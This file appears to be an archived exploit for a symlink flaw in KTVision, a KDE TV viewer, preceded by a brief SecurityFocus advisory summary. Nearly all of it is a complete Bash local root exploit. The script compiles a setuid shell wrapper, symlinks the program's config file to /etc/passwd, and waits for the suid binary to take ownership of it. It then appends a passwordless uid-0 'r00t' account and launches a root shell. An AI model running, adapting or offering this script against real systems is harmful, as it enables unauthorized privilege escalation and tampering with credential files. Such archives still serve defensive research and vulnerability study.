880bbe402e
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100 lines
No EOL
2.3 KiB
Bash
Executable file
100 lines
No EOL
2.3 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/2913/info
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KTVision works with frame-grabber cards and KDE (Unix K Desktop Environment) to support TV video display on the PC screen.
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KTVision is vulnerable to symbolic link attacks.
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It is possible for an attacker to anticipate the expected name of a KTVision config file. A local attacker can then create a symbolic link with the anticipated filename pointing to files on the system writable by ktvision, (which is frequently suid root).
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This could allow an attacker to overwrite any file on the filesystem, completely undermining the the security of the exploited system.
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#!/bin/bash
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link=/home/paul/.kde/share/config
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linkto=/etc/passwd
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target=/opt/kde/bin/ktvision
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echo ""
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echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR"
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echo ""
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if ! test -u $target ; then
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echo "[-] $target not found"
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exit 1
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fi;
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echo "[+] $target found"
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rm -f sush*
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cat <<__DUPA__>>sush.c
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#include <stdio.h>
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main()
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{
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setuid(geteuid());
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setgid(getegid());
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execl("/bin/bash", "/bin/bash", NULL);
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}
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__DUPA__
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echo " compiling sush"
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res=$(gcc sush.c -o sush)
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if test "$res" != "" -o ! -x sush ; then
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echo "[-] failed"
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rm sush* ktvback.*
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exit 2;
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fi;
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echo "[+] success"
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cp $linkto ktvback.$$
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mkdir -p $link
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rm -f $link/ktvisionrc
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ln -s $linkto $link/ktvisionrc
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echo ""
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echo -n "now running... (ensure that X is up and running)"
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$target >/dev/null 2>&1 &
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cpid=$!
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declare -i cnt
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declare -i max
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cnt=0
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max=60
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while ! test -O $linkto ; do
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sleep 1;
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printf " %.2d" $cnt
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cnt=$(($cnt+1))
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if test $cnt -ge $max ; then
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echo ""
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echo ""
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echo "[-] FAILED"
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rm sush* ktvback.*
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exit 2;
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fi;
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done;
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kill -9 $cpid >/dev/null 2>&1
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rm $link/ktvisionrc
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echo ""
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echo ""
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echo "[+] SUCCESS, creating sush"
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echo >>$linkto "r00t::0:0:root:/root:/bin/bash"
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echo ""
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su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp
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ktvback.$$ $linkto; chown 0.0 $linkto"
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rm ktvback.* sush.c
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if ! test -u sush ; then
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echo " hm strange error"
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rm sush* ktvback.*
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exit 1
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fi;
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echo ""
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echo "starting ./sush"
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./sush
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#!plonk |